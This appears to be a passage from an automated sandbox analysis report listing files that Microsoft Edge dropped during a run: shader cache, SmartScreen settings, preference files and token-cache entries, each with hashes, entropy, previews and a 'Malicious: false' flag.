SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlD/ll:Ls3hl
MD5:	187E3030323CD91B363F7E8194969480
SHA1:	4AD3B06B51FD36206A68A48D8AA82D6077758ADA
SHA-256:	592BE0B2CABCD04F3E1D8CE571547D7847FBEE0FFC2B9D15E1C33F38DC180989
SHA-512:	FA8F156FECD8F734F5FA6FAB8480F3B22762AD64AE5AF314B8E3062A045E19A4E07AD999BAC64C2247C69E7CDC70C073358CE6A19D7CC3C6C211525CFC8EB7B8
Malicious:	false
Preview:	.........................................fR.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.019458482363043
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUAWnVfy:YWLSGTt1o9LuLgfGBPAzkVj/T8lUAW8
MD5:	AB14008EDA67DD33D3D63E52183A2817
SHA1:	F1414DBDA9CF25EA88FC2CA5F05902D2BD226D1C
SHA-256:	E80C3E8F8A8C0B1D84A95B2B76AA04389AB7A14593C0DA51B80D15806E56717F
SHA-512:	F23F571A510A1B7FF4C589509352467FEE2FD0C8464E50FA4107BB6DACC57B5ABEFFB5E80B45348EE617B1783B0336DD9756C20F020CC24813A588CD1AA09435
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731287377680460}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b0479b13-2a5f-4330-9947-bfb99e8c7941.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46092
Entropy (8bit):	6.088207738187215
Encrypted:	false
SSDEEP:	768:uMkbJrT8IeQcrQgx9KdDEuAhDO6vP6Ow/BH0YAqn1DFJNUhy1DhSCAouGoup1Xl+:uMk1rT8HR9KdF6QpY01sRouhu3VlXr4H
MD5:	C54EB216FB09038301C2F5E3A32AD9BF
SHA1:	883E6A08E5746235FA6B4DB58F543AC810CC1FA3
SHA-256:	1194EE6BFD50C7C1BF763DB73BF0CF352543D2C28D06B371AD7C512621230AA1
SHA-512:	538C33B9B1742419D8AD8BF9E6502F93FCC08C80BDE808AD79C8CAD7DABD57C981891C40175E81CA979EDC91AF77D3609B9C3E17F0E95A18E7F8D99AADD997E6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731186578"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c9138491-439e-411d-a357-7df3250e6486.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46216
Entropy (8bit):	6.0879008465085995
Encrypted:	false
SSDEEP:	768:uMkbJrT8IeQcrQgMoKgDEuAhDO6vP6Ow/BHoYAqn1DFJNUhy1DhSCAouGoup1Xl+:uMk1rT8HsoKgF6Qpk01sRouhu3VlXr4H
MD5:	D2563F10C95DE8B8DC47D268C7AAE657
SHA1:	2329DF8343C2067EEF0BE5EB125BC2177AD7C5C8
SHA-256:	48C7FE6D3E67B719CF6DFE74087C7DACEA890AC71756DE26F518E0ACC811775F
SHA-512:	114B7E6D6F210EE63C116EC3D31063BC45BD7B9C06502FBE4F1675EB46E500ABEC2DCE7EDA3C011137E82F892C488EA8B9D3E4D4F91EDF6EAB5ECD1E7C87BB64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731186578"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c942287d-b745-497c-9f21-d17f9f18c54e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.0968441686601365
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB2wuzhDO6vP6Ow/BHoSaxVTicGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEp6QpLchu3VlXr4CRo1
MD5:	56D17D5652224CB50E52A39891BCDE1A
SHA1:	FA90E2B410D7332981FE310AF114512A7A760ACB
SHA-256:	11890BC6A9D7A1997C3067C292F895CC989ACDBE06342E5A4DE0961D3DBC19A0
SHA-512:	B51762A006CFD3DC64F81BC8026C5BF094F8F1EB5FC0FB8236A0F0534717072D5EE98751672A04D666B13FE9472D3B02B68E452FF49A2FBB123735804A62B1C0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.841050141910924
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx6xl9Il8uGyocwtLKkfg+oOUaL0xd1rc:mTYKcg9fg+ozaL1
MD5:	3820B3201F1853B91DC44A3828D2E651
SHA1:	3704D0606F47C32A5D798D8888476CD41E0455B6
SHA-256:	689FC83CB675C5073BB7EE881A8D934F3335B61BBEA45801805123A0FAE0B68B
SHA-512:	70997176F7A8921F9C4958E114EF48BB0EC2C1CC16B36F00ED902EDB15EC4E0EFF7D02791E7F6156551FDC2ED39937FA6AF5200E9F9E8BE04DBD617AF5F65414
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.K.a.h.E.P.Q.y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.k.L./.F.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9999467664606856
Encrypted:	false
SSDEEP:	96:0YK/bkAP42jCVrvrqhXs2euk2GgGl3tXqoFXJI:0fjkAFjovrNCGgGtNqo9S
MD5:	AD412CED1F25C31817B20BCA2DBF0F7E
SHA1:	6D8C7884779C3A8ECE88646792871DE32E8DDC62
SHA-256:	FDF7C6B363516425048E753680639666A53AAFA9F72672D427A019054029A739
SHA-512:	D1268D8D9DC78AFCF035CAEF0F3F72EB1AAF655EC9CD9772B3600C3EFE7FC1A3141EF4C6317B8964AA483EB5F17268529CCDD872C0E768B56CAFC629F9B28B29
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".T.d.Y.+.9.u.s.y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.k.L./.F.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9032560072447127
Encrypted:	false
